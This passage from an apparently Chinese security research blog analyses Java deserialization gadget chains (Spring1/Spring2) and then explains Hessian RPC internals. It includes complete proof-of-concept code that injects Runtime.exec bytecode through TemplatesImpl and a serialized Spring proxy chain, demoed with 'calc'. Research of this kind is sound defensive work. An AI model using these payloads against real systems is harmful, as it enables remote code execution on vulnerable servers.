public static void main(String[] args) throws Exception {
byte[] payload = getPayload("calc");
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(payload);
ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
objectInputStream.readObject();
}

private static byte[] getEvilClass(String cmd) throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.makeClass("EvilClass");

ctClass.getClassFile().setMajorVersion(49);
ctClass.makeClassInitializer()
.setBody("{ java.lang.Runtime.getRuntime().exec(\"" + cmd + "\"); }");

CtClass superC = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
ctClass.setSuperclass(superC);

return ctClass.toBytecode();
}

private static void setFieldValue(Object object, String fieldName, Object value) throws Exception {
Field field = object.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(object, value);
}
}

修复情况(≤ JDK8u71)

与 CC0/CC1 一样

Spring2

1
2
3
4
5
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-aop</artifactId>
<version>4.1.4.RELEASE</version>
</dependency>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
at java.lang.ClassLoader.defineClass(ClassLoader.java:642)
at com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl$TransletClassLoader.defineClass(TemplatesImpl.java:142)
at com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.defineTransletClasses(TemplatesImpl.java:346)
at com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getTransletInstance(TemplatesImpl.java:383)
at com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.newTransformer(TemplatesImpl.java:418)
at sun.reflect.NativeMethodAccessorImpl.invoke0(NativeMethodAccessorImpl.java:-1)
at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
at java.lang.reflect.Method.invoke(Method.java:483)
at org.springframework.aop.support.AopUtils.invokeJoinpointUsingReflection(AopUtils.java:317)
at org.springframework.aop.framework.JdkDynamicAopProxy.invoke(JdkDynamicAopProxy.java:201)
at com.sun.proxy.$Proxy0.newTransformer(Unknown Source:-1)
at sun.reflect.NativeMethodAccessorImpl.invoke0(NativeMethodAccessorImpl.java:-1)
at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
at java.lang.reflect.Method.invoke(Method.java:483)
at org.springframework.util.ReflectionUtils.invokeMethod(ReflectionUtils.java:202)
at org.springframework.util.ReflectionUtils.invokeMethod(ReflectionUtils.java:187)
at org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider.readObject(SerializableTypeWrapper.java:404)

原理分析

在 Spring1 链基础上有所变化,把 spring-beansObjectFactoryDelegatingInvocationHandler 换成 spring-aoporg.springframework.aop.framework.JdkDynamicAopProxy

1
2
3
4
5
6
7
final class JdkDynamicAopProxy implements AopProxy, InvocationHandler, Serializable {
private final AdvisedSupport advised;
public JdkDynamicAopProxy(AdvisedSupport config) throws AopConfigException {
// [...]
this.advised = config;
}
}

JdkDynamicAopProxy#invoke 函数会将 this.advised.targetSourcegetTarget 方法返回的对象与传入的方法 method 以及参数 args 一并传入 AopUtils#invokeJoinpointUsingReflection 方法。

1
2
3
4
5
6
7
8
9
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
// [...]
TargetSource targetSource = this.advised.targetSource;
// [...]
target = targetSource.getTarget();
// [...]
retVal = AopUtils.invokeJoinpointUsingReflection(target, method, args);
// [...]
}

org.springframework.aop.support.AopUtils#invokeJoinpointUsingReflection 会对传入的 target 对象调用代理的方法,并且参数也是 invoke 传入的参数。

1
2
3
4
5
6
7
public static Object invokeJoinpointUsingReflection(Object target, Method method, Object[] args)
throws Throwable {
// [...]
ReflectionUtils.makeAccessible(method);
return method.invoke(target, args);
// [...]
}

因此总结一下就是 JdkDynamicAopProxy#invoke 函数会将调用转发到 JdkDynamicAopProxy#advised.targetSourcegetTarget 方法返回的对象上。

这里 advised.targetSource 的类型实际上是 org.springframework.aop.target.SingletonTargetSource,它的 getTarget 方法返回的是 target 属性。

1
2
3
public Object getTarget() {
return this.target;
}

advised 的类型是 org.springframework.aop.framework.AdvisedSupport,它的 setTarget 方法会实例化一个 SingletonTargetSource 对象设置到 targetSource 属性上。

1
2
3
4
5
6
7
public void setTarget(Object target) {
setTargetSource(new SingletonTargetSource(target));
}

public void setTargetSource(TargetSource targetSource) {
this.targetSource = (targetSource != null ? targetSource : EMPTY_TARGET_SOURCE);
}

SingletonTargetSource 的构造函数会将传入的 target 设置到 target 属性上。

1
2
3
4
public SingletonTargetSource(Object target) {
Assert.notNull(target, "Target object must not be null");
this.target = target;
}

因此我们可以简化一下 Spring1 的反序列化链:

  • ObjectFactoryDelegatingInvocationHandler 替换为 JdkDynamicAopProxy
  • JdkDynamicAopProxy 中的 advised.targetSource 设置为 SingletonTargetSource
  • SingletonTargetSource#target 设置为 TemplatesImpl

利用代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import org.springframework.aop.framework.AdvisedSupport;

import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.Map;

public class Spring2 {
public static Object getObject(String cmd) throws Exception {
byte[] code = getEvilClass(cmd);
TemplatesImpl templates = new TemplatesImpl();

setFieldValue(templates, "_bytecodes", new byte[][]{code});
setFieldValue(templates, "_name", "HelloTemplatesImpl");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());

AdvisedSupport advisedSupport = new AdvisedSupport();
advisedSupport.setTarget(templates);

// 满足 Type 和 Templates 类型要求,且利用 JDAP 将方法调用转发给 advised.targetSource.target (TemplatesImpl)
Class JDAPClazz = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy");
Constructor JDAPConstruct = JDAPClazz.getDeclaredConstructor(AdvisedSupport.class);
JDAPConstruct.setAccessible(true);
InvocationHandler typeHandler = (InvocationHandler) JDAPConstruct.newInstance(advisedSupport);
Type typeProxy = (Type) Proxy.newProxyInstance(
ClassLoader.getSystemClassLoader(),
new Class[]{Type.class, Templates.class},
typeHandler
);

// 针对 getType 方法调用返回 typeProxy
Map getTypeMap = new HashMap();
getTypeMap.put("getType", typeProxy);
Class typeProviderClazz = Class.forName("org.springframework.core.SerializableTypeWrapper$TypeProvider");

Class AIHClazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor AIHConstruct = AIHClazz.getDeclaredConstructor(Class.class, Map.class);
AIHConstruct.setAccessible(true);
InvocationHandler getTypeHandler = (InvocationHandler) AIHConstruct.newInstance(Target.class, getTypeMap);
Object getTypeProxy = Proxy.newProxyInstance(
ClassLoader.getSystemClassLoader(),
new Class[]{typeProviderClazz},
getTypeHandler
);

Class MITPClazz = Class.forName("org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider");
Constructor MITPConstructor = MITPClazz.getDeclaredConstructor(typeProviderClazz, Method.class, int.class);
MITPConstructor.setAccessible(true);

Object MITP = MITPConstructor.newInstance(getTypeProxy, Object.class.getMethod("toString"), 0);
setFieldValue(MITP, "methodName", "newTransformer");

return MITP;
}

public static byte[] getPayload(String cmd) throws Exception {
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(getObject(cmd));
return byteArrayOutputStream.toByteArray();
}

public static void main(String[] args) throws Exception {
byte[] payload = getPayload("calc");
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(payload);
ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
objectInputStream.readObject();
}

private static byte[] getEvilClass(String cmd) throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.makeClass("EvilClass");

ctClass.getClassFile().setMajorVersion(49);
ctClass.makeClassInitializer()
.setBody("{ java.lang.Runtime.getRuntime().exec(\"" + cmd + "\"); }");

CtClass superC = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
ctClass.setSuperclass(superC);

return ctClass.toBytecode();
}

private static void setFieldValue(Object object, String fieldName, Object value) throws Exception {
Field field = object.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(object, value);
}
}

Hessian

Hessian 是一种轻量级的二进制远程过程调用(RPC)框架,主要用于 Java 应用之间的高效通信。它提供了一种简单、高效的方式来实现分布式应用中的数据交换和远程调用。

1
2
3
4
5
<dependency>
<groupId>com.caucho</groupId>
<artifactId>hessian</artifactId>
<version>4.0.63</version>
</dependency>

关键对象

序列化工厂

AbstractSerializerFactory

com.caucho.hessian.io.AbstractSerializerFactory:抽象序列化器工厂,是管理和维护对应序列化/反序列化机制的工厂。

1
2
3
4
5
6
7
8
abstract public class AbstractSerializerFactory {

abstract public Serializer getSerializer(Class cl)
throws HessianProtocolException;

abstract public Deserializer getDeserializer(Class cl)
throws HessianProtocolException;
}
  • SerializerFactory:标准实现
  • ExtSerializerFactory:可以设置自定义的序列化机制
  • BeanSerializerFactory:对 Serializer 默认 Object 的序列化机制进行强制指定为BeanSerializer

IO 流对象

序列化器工厂肯定是作为 IO 流对象的成员去使用

AbstractHessianInput

(反)序列化器

Hessian 的有几个默认实现的序列化器,当然也有对应的反序列化器

BeanSerializer

基本使用

序列化/反序列化

当你只想要“紧凑的二进制序列化”而不需要远程调用时使用。

1
2
3
4
5
6
7
8
9
10
11
12
13
import com.caucho.hessian.io.Hessian2Input;
import com.caucho.hessian.io.Hessian2Output;

// 写
ByteArrayOutputStream bos = new ByteArrayOutputStream();
Hessian2Output out = new Hessian2Output(bos);
out.writeObject(new YourDTO(...));
out.flush();
byte[] bytes = bos.toByteArray();

// 读
Hessian2Input in = new Hessian2Input(new ByteArrayInputStream(bytes));
Object back = in.readObject();

远程方法调用(RPC)

因为 Hessian 是一个 RPC 协议框架,因此我们首先需要定义一个需要被远程调用的接口类:

1
2
3
4
// 通用 API:服务端与客户端共用
public interface HelloService {
String hi(String name);
}

基于 Servlet 的服务端

编写一个 HttpServlet,继承 Hessian 提供的 HessianServlet,并直接实现业务接口。最后把它映射到一个 URL 即可。

这里 HessianServlet 负责读取/写回 Hessian 二进制流并分派到你的方法实现。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
// 如果是 Jakarta EE 9+ / Servlet 5+:
import jakarta.servlet.annotation.WebServlet;
// 旧版(Java EE / Servlet 3.x-4.x)把上面一行改成:
// import javax.servlet.annotation.WebServlet;

import com.caucho.hessian.server.HessianServlet;

@WebServlet(urlPatterns = "/hessian/hello", loadOnStartup = 1)
public class HelloServiceServlet extends HessianServlet implements HelloService {
@Override
public String hi(String name) {
return "Hello, " + name;
}
}

基于 Spring 的服务端

利用 HessianServiceExporter 把任意 Spring Bean 暴露成 Hessian 端点。Spring MVC 里以 bean name 作为 URL 映射(以 / 开头)。

1
2
3
4
5
6
// 你的业务实现
@Service
public class HelloServiceImpl implements HelloService {
@Override
public String hi(String name) { return "Hello, " + name; }
}
1
2
3
4
5
6
7
8
9
10
11
// Java Config(Spring 5/Boot 2.x 可用)
@Configuration
public class HessianServerConfig {
@Bean(name = "/hessian/hello")
public org.springframework.remoting.caucho.HessianServiceExporter helloExporter(HelloService helloService) {
var exporter = new org.springframework.remoting.caucho.HessianServiceExporter();
exporter.setService(helloService);
exporter.setServiceInterface(HelloService.class);
return exporter;
}
}

上述做法来自 Spring 的 Remoting 支持:HessianServiceExporter 通过 HTTP 把接口暴露出去,客户端以 Hessian 协议访问该 URL。基于 Spring 5 及更早版本,Spring 6+ 已删除 HessianServiceExporter/HessianProxyFactoryBean 等 Remoting API。

客户端

1
2
3
4
5
6
7
8
import com.caucho.hessian.client.HessianProxyFactory;

HessianProxyFactory factory = new HessianProxyFactory();
// 如需 Hessian 2 协议:factory.setHessian2Request(true); factory.setHessian2Reply(true);
HelloService hello = (HelloService) factory.create(
HelloService.class, "http://localhost:8080/yourapp/hessian/hello");

System.out.println(hello.hi("world"));

源码分析

服务端

初始化过程

com.caucho.hessian.server.HessianServlet 继承于 HttpServlet,因此本质上是一个 Servlet,也就拥有 Servlet 的生命周期。

HessianServlet 的初始化阶段会调用它的 init 函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
/**
* 初始化服务(包括“home 服务对象”和可选的“object 对象”)。
* 读取 Servlet 的 init-param(web.xml 或注解等)来决定实现类和接口类,
* 然后构造对应的 HessianSkeleton 以处理远程调用。
*/
@Override
public void init(ServletConfig config) throws ServletException {
// 先调用父类初始化
super.init(config);

try {
// ===================== 1) 决定 home 实现对象(_homeImpl) =====================
if (_homeImpl != null) {
// 如果外部已经提前注入/设置了 _homeImpl,则直接使用
} else if (getInitParameter("home-class") != null) {
// 方式 A:通过 init-param "home-class" 指定 home 实现类
String className = getInitParameter("home-class");
Class<?> homeClass = loadClass(className);
_homeImpl = homeClass.newInstance();
init(_homeImpl); // 回调可选的 Bean 初始化
} else if (getInitParameter("service-class") != null) {
// 方式 B:兼容用法,"service-class" 也是 home 实现类
String className = getInitParameter("service-class");
Class<?> homeClass = loadClass(className);
_homeImpl = homeClass.newInstance();
init(_homeImpl);
} else {
// 未显式提供实现类时:
// 若当前类就是 HessianServlet 本体(而不是子类),则报错;
// 否则认为“当前 Servlet 子类本身”就是 home 的实现。
if (getClass().equals(HessianServlet.class)) {
throw new ServletException("server must extend HessianServlet");
}
_homeImpl = this;
}

// ===================== 2) 决定 home API 接口类型(_homeAPI) =====================
if (_homeAPI != null) {
// 已经外部设置过接口类型
} else if (getInitParameter("home-api") != null) {
// 方式 A:通过 init-param "home-api" 指定接口类
String className = getInitParameter("home-api");
_homeAPI = loadClass(className);
} else if (getInitParameter("api-class") != null) {
// 方式 B:兼容用法,"api-class" 也是接口类
String className = getInitParameter("api-class");
_homeAPI = loadClass(className);
} else if (_homeImpl != null) {
// 未显式提供时,尝试根据实现类自动寻找远程接口
_homeAPI = findRemoteAPI(_homeImpl.getClass());

if (_homeAPI == null) {
_homeAPI = _homeImpl.getClass();
}

// 注意:原始代码这里再次强制赋值为实现类,
// 会覆盖上面 findRemoteAPI() 的结果(即最终 _homeAPI = 实现类)
_homeAPI = _homeImpl.getClass();
}

// ===================== 3) (可选)决定 object 实现对象(_objectImpl) =====================
if (_objectImpl != null) {
// 已注入则使用
} else if (getInitParameter("object-class") != null) {
// 通过 "object-class" 指定对象实现类
String className = getInitParameter("object-class");
Class<?> objectClass = loadClass(className);
_objectImpl = objectClass.newInstance();
init(_objectImpl);
}

// ===================== 4) (可选)决定 object API 接口(_objectAPI) =====================
if (_objectAPI != null) {
// 已注入则使用
} else if (getInitParameter("object-api") != null) {
// 通过 "object-api" 指定接口类
String className = getInitParameter("object-api");
_objectAPI = loadClass(className);
} else if (_objectImpl != null) {
// 未显式提供时,默认把实现类当作接口类型
_objectAPI = _objectImpl.getClass();
}

// ===================== 5) 构造 Skeleton(方法分派器) =====================
// home skeleton 用于分派对 home 接口的调用
_homeSkeleton = new HessianSkeleton(_homeImpl, _homeAPI);

// 如果提供了 object API,告诉 home skeleton 其“对象类”
if (_objectAPI != null) {
_homeSkeleton.setObjectClass(_objectAPI);
}

// 如果存在“对象实现”,则单独为 object 构造 skeleton,并告诉它 home 的接口类
if (_objectImpl != null) {
_objectSkeleton = new HessianSkeleton(_objectImpl, _objectAPI);
_objectSkeleton.setHomeClass(_homeAPI);
} else {
// 否则 object skeleton 就复用 home skeleton
_objectSkeleton = _homeSkeleton;
}

// ===================== 6) 处理可选的调试与集合类型开关 =====================
if ("true".equals(getInitParameter("debug"))) {
// 这里原代码为空;一些实现会在此打开调试日志
}

if ("false".equals(getInitParameter("send-collection-type"))) {
// 是否在序列化集合时发送具体的集合类型信息,false 则更通用但可能丢失实现类型
setSendCollectionType(false);
}
} catch (ServletException e) {
// 保持原始的 ServletException
throw e;
} catch (Exception e) {
// 其它异常统一包装为 ServletException 抛出
throw new ServletException(e);
}
}

这一阶段会初始化 HessianServlet 的一些成员变量:

1
2
3
4
5
6
7
8
9
10
private Class<?> _homeAPI;
private Object _homeImpl;

private Class<?> _objectAPI;
private Object _objectImpl;

private HessianSkeleton _homeSkeleton;
private HessianSkeleton _objectSkeleton;

private SerializerFactory _serializerFactory;
  • _homeAPI / _homeImpl —— 服务(home)接口与实现

  • _homeImpl服务实现对象Object),真正承接业务方法调用。

    • 如果配置了 home-classservice-class,就通过反射构造实例赋给 _homeImpl
    • 否则,若当前类是 HessianServlet子类,默认把 _homeImpl = this(即把 Servlet 自己当成实现)。
  • _homeAPI:对外暴露的服务接口类型Class<?>)。不一定非得是接口,但最好是你的 HelloService 这类接口。

    • _homeAPI强制设成 _homeImpl.getClass()
  • _homeSkeleton:根据获得的 _homeImpl_homeAPI

    • 创建 _homeSkeleton = new HessianSkeleton(_homeImpl, _homeAPI)
    • _homeSkeleton.setObjectClass(_objectAPI)(home 知道对象类);
    • 请求进入 service() 时如果没有 objectId 参数,会走 _homeSkeleton.invoke(...) 完成调用分发。
  • _objectAPI / _objectImpl —— 对象(object)接口与实现(可选)

    这是 Hessian 早期仿 EJB Home/Object 模式的可选第二组接口/实现,面向“对象实例”而非“服务工厂”。

    • _objectImpl:对象实现对象;
      • 若配置 object-class,反射创建 _objectImpl
    • _objectAPI:对象接口类型;
      • 若配置 object-api,赋给 _objectAPI
      • 否则若存在 _objectImpl,就回退为 _objectImpl.getClass()
    • _objectSkeleton:若存在 _objectImpl/_objectAPI
      • 会创建独立的 _objectSkeleton = new HessianSkeleton(_objectImpl, _objectAPI)
      • _objectSkeleton.setHomeClass(_homeAPI)(object 知道 home 类)
      • 请求进入 service() 时如果 objectId 参数,会走 _objectSkeleton.invoke(...) 完成调用分发。
  • _homeSkeleton / _objectSkeleton —— 服务器端分发器(Skeleton)

    • HessianSkeleton服务端分发器:把 Hessian 二进制请求解包后,按方法签名反射调用对应的实现对象,再把结果序列化回去。
    • init() 末尾创建:
      • 一定会创建 _homeSkeleton
      • 如果没有配置 “object”,则让 _objectSkeleton = _homeSkeleton(两者同一个实例);
      • 如果配置了 “object”,则创建独立的 _objectSkeleton 并互相设置 Home/Object 类型(用于序列化里传递类型信息)。
    • service()invoke(...) → 依据是否带 objectId 选择 _homeSkeleton_objectSkeleton 来处理调用。
  • _serializerFactory —— 序列化工厂

    • SerializerFactoryHessian 编解码的注册中心/策略集合:管理各种类型的(反)序列化器、白名单/黑名单策略、是否发送集合的具体实现类型等。
    • 何时被赋值
      • 懒加载:getSerializerFactory() 里如果是 null 才 new;
      • 也可以提前通过 setSerializerFactory(...) 自定义。
    • 在哪里用到
      • service() 中取到后,传给 invoke(...),再交由 HessianSkeleton.invoke(...) 使用;

      • 你还能通过这些方法调整行为:

        • setSendCollectionType(false):不写入集合实现类型(更通用);
        • setWhitelist(true) + allow()/deny():反序列化白/黑名单(安全关键点)。

com.caucho.hessian.server.HessianSkeleton 的构造函数首先调用父类 com.caucho.services.server.AbstractSkeleton 的构造函数,然后再将第一个参数设置到 _service 上,这实际上是要被远程方法调用的对象。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
/**
* 创建一个新的 HessianSkeleton(服务端分发器)。
*
* 作用:
* - 持有“服务实现对象(service)”与“对外 API 类型(apiClass)”,
* 后续根据 API 方法签名对请求做反射调用与结果返回。
*
* @param service 业务实现对象;若传入为 null,则回退为当前 Skeleton 实例(兼容性用法,不常用)
* @param apiClass 对外暴露的 API 接口或类(必须是 service 的父类型)
*/
public HessianSkeleton(Object service, Class<?> apiClass) {
// 父类通常会记录/校验 API 类型等元数据
super(apiClass);

// 兼容性处理:若未显式提供实现对象,则使用当前 Skeleton 实例
// 说明:常规用法应当显式传入真实的业务实现对象
if (service == null) {
service = this;
}

// 保存服务实现对象,后续通过反射调用其方法
_service = service;

// 类型校验:要求 service 必须实现/继承 apiClass,
// 否则在运行时无法将请求分派到约定的 API 方法上
if (!apiClass.isAssignableFrom(service.getClass())) {
throw new IllegalArgumentException(
"Service " + service + " must be an instance of " + apiClass.getName()
);
}
}

AbstractSkeleton 则会根据传入的第二个参数 apiClass 初始化 _methodMap_methodMap 是要被远程调用的对象的方法名称与 Method 对象的映射。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
/**
* 创建抽象 Skeleton:根据 API 类型预构建“方法分发表”(_methodMap)。
*
* 分发表包含三类 Key → Method 的映射,用于兼容不同客户端的调用解析方式:
* 1) 简单方法名 :methodName → 首次出现的 Method(默认/兼容用)
* 2) 方法名 + 参数个数 :methodName__<argc> → 通过参数个数区分重载
* 3) 完整签名(mangle 结果) :mangleName(method, false) → 基于参数类型的唯一编码,彻底区分重载
*
* 说明:
* - apiClass.getMethods() 返回该类型及其父类/父接口的所有 public 方法。
* - 简单方法名的映射只在“当前不存在”时写入(first-win),用于兼容老客户端未携带重载信息的场景。
* - 其它两种映射直接覆盖同 Key(通常 Key 已经唯一,不会无意义覆盖)。
*
* @param apiClass 对外暴露的 API 接口或类
*/
protected AbstractSkeleton(Class apiClass) {
_apiClass = apiClass;

// 获取 API 的所有 public 方法(包含继承而来的)
Method[] methodList = apiClass.getMethods();

for (int i = 0; i < methodList.length; i++) {
Method method = methodList[i];

// 1) 简单方法名映射(仅当当前不存在时写入,保留“第一份”作为默认分发)
if (_methodMap.get(method.getName()) == null) {
_methodMap.put(method.getName(), methodList[i]);
}

// 2) 方法名 + 参数个数 的“轻量重载”映射(例如 foo__2)
Class[] param = method.getParameterTypes();
String mangledName = method.getName() + "__" + param.length;
_methodMap.put(mangledName, methodList[i]);

// 3) 完整签名映射:通过 mangleName 生成包含参数类型信息的唯一键
// (用于在存在同参个数但不同参数类型的重载时,精确定位 Method)
_methodMap.put(mangleName(method, false), methodList[i]);
}
}

请求处理过程

com.caucho.hessian.server.HessianServlet#service 负责处理 Hessian 的 RPC 请求。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
/**
* 处理一次 Hessian 调用请求。
*
* 流程概览:
* 1) 仅允许 HTTP POST(当前实现非 POST 返回 500;更合理是 405,见下方注释);
* 2) 从 pathInfo 提取 serviceId,从请求参数 id/ejbid 提取 objectId;
* 3) 使用 ServiceContext 绑定本次请求的上下文(供业务方在服务实现内获取 req/resp/session 等);
* 4) 设置响应的 Content-Type(当前为 "x-application/hessian";常见写法也有 "application/x-hessian");
* 5) 将请求/响应流与 SerializerFactory 交给 invoke(...),由 Skeleton 完成方法分发与编解码;
* 6) finally 保证释放 ServiceContext。
*/
public void service(ServletRequest request, ServletResponse response)
throws IOException, ServletException {
HttpServletRequest req = (HttpServletRequest) request;
HttpServletResponse res = (HttpServletResponse) response;

// 仅允许 POST:当前实现直接返回 500 和简单 HTML。
// 更合理的做法:返回 405 (Method Not Allowed) 并设置响应头 Allow: POST。
if (!req.getMethod().equals("POST")) {
res.setStatus(500); // Hessian Requires POST
PrintWriter out = res.getWriter();

res.setContentType("text/html");
out.println("<h1>Hessian Requires POST</h1>");

return;
}

// 从路径中获取 serviceId;从参数中获取 objectId(兼容早期 ejb 风格的 "ejbid")
String serviceId = req.getPathInfo();
String objectId = req.getParameter("id");
if (objectId == null) {
objectId = req.getParameter("ejbid");
}

// 将本次请求的上下文绑定到线程,供服务实现通过 ServiceContext 获取 Servlet 环境
ServiceContext.begin(req, res, serviceId, objectId);

try {
// 获取请求/响应的二进制流;Hessian 编解码将在 Skeleton 中完成
InputStream is = request.getInputStream();
OutputStream os = response.getOutputStream();

// 设置返回内容类型(历史用法为 "x-application/hessian";
// 也可考虑使用更常见的 "application/x-hessian" 以增强兼容性)
response.setContentType("x-application/hessian");

// 序列化工厂(包含白/黑名单、集合类型发送开关等序列化策略)
SerializerFactory serializerFactory = getSerializerFactory();

// 根据 objectId 是否存在选择 home 或 object 的 Skeleton,并完成方法分发
invoke(is, os, objectId, serializerFactory);
} catch (RuntimeException e) {
// 运行时异常直接抛出,由容器统一处理
throw e;
} catch (ServletException e) {
// Servlet 相关异常直接抛出
throw e;
} catch (Throwable e) {
// 其它异常统一包装为 ServletException 抛出
throw new ServletException(e);
} finally {
// 释放线程绑定的 ServiceContext,防止泄漏
ServiceContext.end();
}
}

其中 invoke 函数根据是否提供 objectId 决定选择 _objectSkeleton 还是 _homeSkeletoninvoke 方法,通常我们走的是 _homeSkeleton 分支。

1
2
3
4
5
6
7
8
9
protected void invoke(InputStream is, OutputStream os,
String objectId,
SerializerFactory serializerFactory)
throws Exception {
if (objectId != null)
_objectSkeleton.invoke(is, os, serializerFactory);
else
_homeSkeleton.invoke(is, os, serializerFactory);
}

无论是 _objectSkeleton 还是 _homeSkeleton,最终 invoke 都会调用到 com.caucho.hessian.server.HessianSkeleton#invoke 函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
/**
* 调用入口:从输入流读取 Hessian 头部,选择合适的编解码实现,
* 再把请求分发到服务实现(_service)并将结果写入输出流。
*
* @param is Hessian 请求的输入流(通常来自 HTTP 请求体)
* @param os Hessian 响应的输出流(写回到 HTTP 响应体)
* @param serializerFactory 可选的序列化工厂(影响白/黑名单、集合类型发送等策略)
* @throws Exception 编解码或业务调用过程中抛出的异常
*/
public void invoke(InputStream is, OutputStream os, SerializerFactory serializerFactory) throws Exception {
// 1) 读取请求头,判定调用/应答所采用的 Hessian 协议版本组合
HessianInputFactory.HeaderType header = _inputFactory.readHeader(is);

AbstractHessianInput in;
AbstractHessianOutput out;

// 2) 根据头部类型选择对应的 Hessian 输入/输出实现
switch (header) {
// 其它分支省略(如 CALL_1_REPLY_1、CALL_2_REPLY_2 等)
// [...]

case CALL_1_REPLY_2:
// 含义:请求使用 Hessian 1,响应使用 Hessian 2。
// 典型用于兼容老客户端请求,同时服务端响应侧使用 Hessian 2 提升效率/特性。
in = _hessianFactory.createHessianInput(is); // Hessian 1 输入
out = _hessianFactory.createHessian2Output(os); // Hessian 2 输出
break;

// [...]
}

// 3) 安装(反)序列化策略工厂:控制类白/黑名单、集合类型是否发送等
if (serializerFactory != null) {
in.setSerializerFactory(serializerFactory);
out.setSerializerFactory(serializerFactory);
}

try {
// 4) 进入实际的 RPC 分发逻辑:
// Skeleton 基于 _service(实现对象)与 API 签名做反射调用,
// 将业务返回值或异常编码后写入 out。
invoke(_service, in, out);
} finally {
// 5) 资源收尾(真实实现中可能需要 flush/close 或上下文清理,这里按原代码省略)
// ...
}
}

HessianSkeleton#invoke 函数会将原本的 ServletRequest 输入流和 ServletResponse 输出流封装为 HessianInputHessianOutput。后面的 readObjectwriteObject 就是基于这两个输入输出对象。

1
2
in = _hessianFactory.createHessianInput(is);
out = _hessianFactory.createHessian2Output(os);

创建好输入输出流后,设置其序列化器工厂,继续 invoke,这里看到多出了一个 _service 对象:

1
invoke(_service, in, out);

这正是我们的 HelloServiceServlet 对象,它是 HessianSkeleton 的属性(init 构造 Skeleton 的时候传进来的)。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
/**
* 创建一个新的 HessianSkeleton(服务端分发器)。
*
* 作用:
* - 持有“服务实现对象(service)”与“对外 API 类型(apiClass)”,
* 后续根据 API 方法签名对请求做反射调用与结果返回。
*
* @param service 业务实现对象;若传入为 null,则回退为当前 Skeleton 实例(兼容性用法,不常用)
* @param apiClass 对外暴露的 API 接口或类(必须是 service 的父类型)
*/
public HessianSkeleton(Object service, Class<?> apiClass) {
// 父类通常会记录/校验 API 类型等元数据
super(apiClass);

// 兼容性处理:若未显式提供实现对象,则使用当前 Skeleton 实例
// 说明:常规用法应当显式传入真实的业务实现对象
if (service == null) {
service = this;
}

// 保存服务实现对象,后续通过反射调用其方法
_service = service;

// 类型校验:要求 service 必须实现/继承 apiClass,
// 否则在运行时无法将请求分派到约定的 API 方法上
if (!apiClass.isAssignableFrom(service.getClass())) {
throw new IllegalArgumentException(
"Service " + service + " must be an instance of " + apiClass.getName()
);
}
}

读取方法名(methodName),查找调用方法(getMethod,从 _methodMap 获取),根据 Method 对象获取参数个数。

